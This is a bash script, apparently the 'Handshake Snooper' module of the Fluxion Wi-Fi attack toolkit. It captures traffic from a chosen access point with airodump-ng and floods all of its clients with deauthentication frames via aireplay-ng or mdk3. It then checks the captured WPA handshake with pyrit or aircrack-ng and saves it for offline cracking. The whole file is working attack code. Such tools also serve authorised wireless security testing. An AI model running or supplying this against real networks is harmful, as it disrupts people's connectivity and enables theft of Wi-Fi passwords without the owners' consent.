#!/bin/bash

########################### < Handshake Snooper Parameters > ###########################

HandshakeSnooperState="Not Ready"

################################# < Handshake Snooper > ################################
function handshake_verifier_daemon() {
	if [ ${#@} -lt 5 ]; then return 1; fi

	handshakeVerifierState="running"

	function handle_verifier_abort() {
		handshakeVerifierState="aborted"
	}

	trap handle_verifier_abort SIGABRT

	source lib/HashUtils.sh

	local handshakeCheckResult=1 # Assume invalid
	while [ $handshakeCheckResult -ne 0 -a "$handshakeVerifierState" = "running" ]; do
		sleep 3
		pyrit -r "$4" -o "${4/.cap/-clean.cap}" stripLive
		hash_check_handshake "$3" "${4/.cap/-clean.cap}" "${@:5:2}"
		handshakeCheckResult=$?
	done

	# If handshake didn't pass verification, it was aborted.
	if [ $handshakeCheckResult -ne 0 ]; then return 1; fi

	# Assure we've got a directory to store hashes into.
	local hashDirectory=$(dirname "$2")
	if [ ! -d "$hashDirectory" ]; then
		mkdir -p "$hashDirectory"
	fi

	# Move handshake to storage if one was acquired.
	mv "${4/.cap/-clean.cap}" "$2"

	# Signal parent process the verification terminated.
	kill -s SIGABRT $1
}

function handshake_stop_verifier() {
	if [ "$HANDSHAKEVerifierPID" ]; then
		kill -s SIGABRT $HANDSHAKEVerifierPID &> $FLUXIONOutputDevice
	fi

	HANDSHAKEVerifierPID=""
}

function handshake_start_verifier() {
	handshake_verifier_daemon $$ \
	"$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap" \
	"$HANDSHAKEVerifier" "$FLUXIONWorkspacePath/capture/dump-01.cap" \
	"$APTargetSSID" "$APTargetMAC" &> $FLUXIONOutputDevice &
	HANDSHAKEVerifierPID=$!
}

function handshake_stop_deauthenticator() {
	if [ "$HANDSHAKEDeauthenticatorPID" ]; then
		kill $HANDSHAKEDeauthenticatorPID &> $FLUXIONOutputDevice
	fi

	HANDSHAKEDeauthenticatorPID=""
}

function handshake_start_deauthenticator() {
	if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi

	handshake_stop_deauthenticator

	# Prepare deauthenticators
	case "$HANDSHAKEMethod" in
		"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst
	esac

	# Start deauthenticators.
	case "$HANDSHAKEMethod" in
		"$HandshakeSnooperAireplayMethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
						aireplay-ng --deauth=9999999999 -a $APTargetMAC --ignore-negative-one $WIMonitor &
			HANDSHAKEDeauthenticatorPID=$!;;
		"$HandshakeSnooperMdk3MethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
				 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel &
			HANDSHAKEDeauthenticatorPID=$!;;
	esac
}

function handshake_stop_captor() {
	if [ "$HANDSHAKECaptorPID" ]; then
		kill $HANDSHAKECaptorPID &> $FLUXIONOutputDevice
	fi

	HANDSHAKECaptorPID=""
}

function handshake_start_captor() {
	if [ "$HANDSHAKECaptorPID" ]; then return 0; fi

	handshake_stop_captor

	xterm -hold -title "Handshake Captor (CH $APTargetChannel)" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e \
	airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &

	echo -e "$FLUXIONVLine Captor process is starting, please wait..."
	while [ ! "$HANDSHAKECaptorPID" ]; do
		# Here, we'll wait for the airodump-ng PID, since we want to leave the xterm open.
		# This is because we need to have a method of notifying the user the hash is captured.
		# Once the hash is captured, we can terminate the captor and the xterm will freeze.
		HANDSHAKECaptorPID=$(ps a | awk '$5~/^airodump-ng/ && $7~/'"$APTargetMAC"'/{print $1}')
		sleep 1
	done
}

function handshake_unset_method() {
	HANDSHAKEMethod=""
}

function handshake_set_method() {
	if [ "$HANDSHAKEMethod" ]; then return 0; fi

	handshake_unset_method

	local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption")
	io_query_choice "$HandshakeSnooperMethodQuery" methods[@]

	HANDSHAKEMethod=$IOQueryChoice

	echo

	if [ "$HANDSHAKEMethod" = "$FLUXIONGeneralBackOption" ]; then
		handshake_unset_method
		return 1
	fi
}

function handshake_unset_verifier() {
	HANDSHAKEVerifier=""
}

function handshake_set_verifier() {
	if [ "$HANDSHAKEVerifier" ]; then return 0; fi

	local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
	io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]

	echo

	case "$IOQueryChoice" in
		"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifier="pyrit";;
		"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifier="aircrack-ng";;
		"$FLUXIONGeneralBackOption") 
			handshake_unset_verifier
			handshake_unset_method
			return 1;;
	esac
}

function unprep_attack() {
	HandshakeSnooperState="Not Ready"
	handshake_unset_verifier
	handshake_unset_method

	sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
}

function prep_attack() {
	mkdir -p "$FLUXIONWorkspacePath/capture"

	while true; do
		handshake_set_method;	if [ $? -ne 0 ]; then break; fi
		handshake_set_verifier;	if [ $? -ne 0 ]; then continue; fi
		HandshakeSnooperState="Ready"
		break
	done

	# Check for handshake abortion.
	if [ "$HandshakeSnooperState" = "Not Ready" ]; then
		unprep_attack
		return 1;
	fi
}

function stop_attack() {
	handshake_stop_deauthenticator
	handshake_stop_verifier
	handshake_stop_captor
	handshake_unset_verifier
}

# Parameters: path, SSID, MAC
function start_attack() {
	handshake_start_captor
	handshake_start_deauthenticator
	handshake_start_verifier
}
# FLUXSCRIPT END